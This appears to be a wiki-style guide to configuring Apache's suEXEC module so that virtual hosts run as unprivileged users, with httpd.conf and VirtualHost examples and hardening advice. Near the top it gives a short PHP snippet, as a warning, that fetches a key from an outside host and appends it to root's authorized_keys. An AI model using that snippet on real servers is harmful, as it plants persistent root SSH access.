Apache, suEXEC and Virtual Hosts

This document describes how to use Apache's suEXEC module in order to have virtual hosts running as a unprivileged user. Generally it's good practice not to let any kind of webspace have superuser privileges like this rather brutal PHP example shows:

   <?php
     # of course this link doesn't lead anywhere
     $rsa_key = file('http://yourhost.homeip.net/id_rsa.pub');
     exec("cat ${rsa_key[[0]]} >>/root/.ssh/authorized_keys");
   ?>

You get the point, do you? To prevent this, never let any virtual host have write access anywhere but in its own home directory or DocumentRoot. Unfortunately this method requires Apache to run as superuser in order to be able to become another user but it's not a big deal since you do not need to run in the default DocumentRoot as superuser too.

You should also consider using suEXEC if you intend to have several FTP accounts pointing to those webspaces which need write permissions while the files still can be read by Apache.

Beware, though, that it is a security risk when the webserver can write to the php files, like when you have an FTP user website1 and the site runs as website1 as well. Code is often injected in PHP files such cases. It is far too common for self-upgradable or installable PHP software to require this permission model, without informing the user of the risk.

Prerequisites

• you should be familiar with basic configuration of Apache
  • especially virtual hosts
• superuser access to the target box
• knowledge about adding users
• can work with pacman

Adding the suEXEC module to Apache

• load the suEXEC module in /etc/httpd/conf/httpd.conf like this:

LoadModule suexec_module        lib/apache/mod_suexec.so

• make sure Apache's default DocumentRoot does not run as superuser either!

User http
Group http

Setting up a virtual Host to use suEXEC

One way to do it is directly in /etc/httpd/conf/httpd.conf but I suggest to use a separate file if you intend to create more than just a couple of virtual hosts. Either way, a virtual host that is supposed to use suEXEC may look something like this:

<VirtualHost 192.168.0.1:80>
        ServerName myhost
        ServerAlias  myhost.localdomain
        # this is where requests for / go
        DocumentRoot /home/www/vhosts/myhost.localdomain/htdocs

        # here you tell which user (myhost) and group (ftponly) Apache should use
        SuexecUserGroup myhost ftponly

        # the following are optional but might be of use for you
        ScriptAlias /cgi-bin/ /home/www/vhosts/myhost.localdomain/htdocs/cgi-bin
        php_admin_value open_basedir /home/www/vhosts/myhost.localdomain/htdocs
        php_admin_value upload_tmp_dir  /home/www/vhosts/myhost.localdomain/tmp
        # Safe mode will be removed as of PHP 6. You may want to not enable it.
        php_admin_flag safe_mode On
        ErrorDocument 404 /home/www/vhosts/myhost.localdomain
        <Directory "/home/www/vhosts/myhost.localdomain/htdocs">
                AllowOverride None
                Order allow,deny
                Allow from all
                Options +SymlinksIfOwnerMatch +Includes
        </Directory>
</VirtualHost>

Note that we set upload_tmp_dir to a folder that is outside the document root of your web site (not /home/www/vhosts/myhost.localdomain/htdocs/tmp). It should also be not readable or writable by any other system users. This is for security reasons: this way it cannot be modified or overwritten while PHP is processing it.

"Disabling" default DocumentRoot

To further harden your setup you can disable the default DocumentRoot in order to not have Apache execute anything as the superuser itself runs as. This procedure does not really disable it, rather points it somewhere where it's not remotely accessible anymore. It can be easily achieved by replacing your default ServerName with the following:

ServerName localhost:80

Finishing up

Every time you change default configuration parameters you need to restart httpd (Apache) to make them take effect.

References

• more in depth information about suEXEC: http://httpd.apache.org/docs/suexec.html
• same about VirtualHosts: http://httpd.apache.org/docs/vhosts/index.html